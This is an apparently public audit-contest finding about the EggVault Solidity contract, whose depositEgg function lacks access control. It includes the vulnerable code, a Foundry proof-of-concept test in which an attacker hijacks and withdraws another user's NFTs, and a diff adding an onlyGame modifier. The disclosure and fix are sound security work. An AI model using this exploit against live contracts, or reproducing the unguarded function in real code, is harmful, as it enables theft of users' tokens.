Eggstravaganza
First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unauthorized Egg Deposit in EggVault Contract

w33ked

Summary

The EggVault contract contains a vulnerability in its depositEgg function that allows any user to deposit an egg (NFT) into the vault and register themselves as the depositor, even if they do not own the NFT. This occurs because the function does not verify the caller's authority over the NFT, only checking that the NFT has been transferred to the vault. As a result, an attacker can steal eggs by depositing them under their own address after the original owner transfers them to the vault, subsequently allowing the attacker to withdraw the NFTs.

Vulnerability Details

The vulnerability is located in the EggVault.depositEgg function:

function depositEgg(uint256 tokenId, address depositor) public {
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}
​

Issue:
The function does not restrict who can call it or verify that the caller (msg.sender) is the legitimate owner or an authorized party. It accepts a depositor parameter without validation, trusting the caller to provide it.

Exploitation Path:

  • An owner (eAlice) transfers their NFT to the vault using transferFrom directly.

  • An attacker calls depositEgg(tokenId, attacker) before the legitimate deposit is registered, setting themselves as the eggDepositors[tokenId].

  • The attacker can then call withdrawEgg(tokenId) to transfer the NFT to themselves, effectively stealing it.

Root Cause:

Lack of access control on depositEgg and reliance on an unverified depositor parameter.

This vulnerability bypasses the intended ownership checks in EggHuntGame::depositEggToVault, which assumes that EggVault::depositEgg will only be called by the game contract with the correct depositor.

Impact

High
Loss of nft ownership.

Proof Of Code

function testDepositEggVulnerability() public {
address attacker = address(0x3);
uint256 duration = 200;
game.startGame(duration);
game.setEggFindThreshold(100);
​
vm.startPrank(alice);
game.searchForEgg(); // Token 1
game.searchForEgg(); // Token 2
vm.stopPrank();
​
vm.prank(bob);
game.searchForEgg(); // Token 3
​
assertEq(nft.ownerOf(1), alice);
assertEq(nft.ownerOf(2), alice);
​
vm.startPrank(alice);
nft.approve(address(game), 1);
nft.approve(address(game), 2);
nft.transferFrom(alice, address(vault), 1);
nft.transferFrom(alice, address(vault), 2);
vm.stopPrank();
​
// Attacker deposits Alice's eggs
vm.startPrank(attacker);
vault.depositEgg(1, attacker);
vault.depositEgg(2, attacker);
vm.stopPrank();
​
assertEq(vault.eggDepositors(1), attacker);
assertEq(vault.eggDepositors(2), attacker);
​
// Attacker withdraws NFTs
vm.startPrank(attacker);
vault.withdrawEgg(1);
vault.withdrawEgg(2);
vm.stopPrank();
​
assertEq(nft.ownerOf(1), attacker);
assertEq(nft.ownerOf(2), attacker);
}

Steps:
Steps:

  • Alice mints and owns tokens 1 and 2.

  • Alice transfers them to the vault.

  • The attacker calls depositEgg to register themselves as the depositor.

  • The attacker withdraws the NFTs, stealing them from Alice.

Tools Used

Manual Review

Recommendations

Implement access control to ensure only authorized parties(game contract) can call depositEgg. The preferred solution is to restrict the function to the EggHuntGame contract:

​
contract EggVault is Ownable {
EggstravaganzaNFT public eggNFT;
address public eggHuntGame; // Reference to the game contract
​
mapping(uint256 => bool) public storedEggs;
mapping(uint256 => address) public eggDepositors;
​
constructor() Ownable(msg.sender) {}
​
function setEggNFT(address _eggNFTAddress) external onlyOwner {
require(_eggNFTAddress != address(0), "Invalid NFT address");
eggNFT = EggstravaganzaNFT(_eggNFTAddress);
}
​
function setEggHuntGame(address _gameAddress) external onlyOwner {
require(_gameAddress != address(0), "Invalid game address");
eggHuntGame = _gameAddress;
}
​
+ modifier onlyGame() {
+ require(msg.sender == eggHuntGame, "Only game contract can call");
+ _;
+ }
​
- function depositEgg(uint256 tokenId, address depositor) public {
+ function depositEgg(uint256 tokenId, address depositor) public onlyGame {
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}
​
// withdrawEgg remains unchanged
}
​
Updates

Lead Judging Commences

m3dython Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.